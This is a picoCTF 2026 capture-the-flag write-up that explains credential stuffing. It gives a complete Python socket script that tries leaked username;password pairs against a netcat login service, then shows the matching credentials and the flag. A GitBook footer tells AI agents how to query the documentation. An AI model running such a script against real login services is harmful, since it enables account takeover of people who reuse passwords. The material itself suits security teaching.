> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/credential-stuffing.md).

# Credential Stuffing — picoCTF 2026

in this challenge, the goal was to exploit **credential reuse**. instead of breaking authentication directly, we are given a leaked credential list from another service and we have to try those credentials against a target login service.

the idea is simple: users reuse passwords, and that mistake becomes the attack vector.

we are given a file containing leaked credentials in this format:

```
username;password
```

this suggests that brute forcing manually would be inefficient, so automation is the way to go.

the target service is accessible via netcat:

```
nc crystal-peak.picoctf.net 60410
```

when connecting, it behaves like a simple login prompt:

```
Username:
Password:
```

so we can script this interaction using sockets.

we write a python script that:

* reads each credential from the file
* connects to the remote service
* sends username and password
* checks the response for `picoCTF`
* stops when valid credentials are found

full exploit script:

```python
import socket
import time

host = "crystal-peak.picoctf.net"
port = 60410  

with open("pico.txt", encoding="utf-8", errors="ignore") as f:
    for line in f:
        if ";" not in line:
            continue

        try:
            username, password = line.strip().split(";")
        except:
            continue

        print(f"[+] Trying {username}:{password}")

        try:
            s = socket.socket()
            s.connect((host, port))

            # receive banner
            s.recv(1024)

            # send username
            s.send((username + "\n").encode())

            # receive password prompt
            s.recv(1024)

            # send password
            s.send((password + "\n").encode())

            # receive response
            response = s.recv(4096).decode(errors="ignore")

            if "picoCTF" in response:
                print("\n[+] FLAG FOUND!")
                print(response)
                s.close()
                break

            s.close()
            time.sleep(0.5)

        except Exception as e:
            print("[-] Connection error, retrying...")
            time.sleep(1)
```

after running the script for a few minutes, valid credentials are found:

```
username: hayes
password: farley
```

we can confirm manually:

```
nc crystal-peak.picoctf.net 60410
```

```
Username: hayes
Password: farley

Welcome hayes!
picoCTF{d0nt_r3u5e_cr3d3nt1als_817212a0}
```

<img src="https://github.com/user-attachments/assets/f04ebbb8-66c3-409c-a00f-5d0ffc8256bd" alt="image" height="484" width="1304">


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/credential-stuffing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.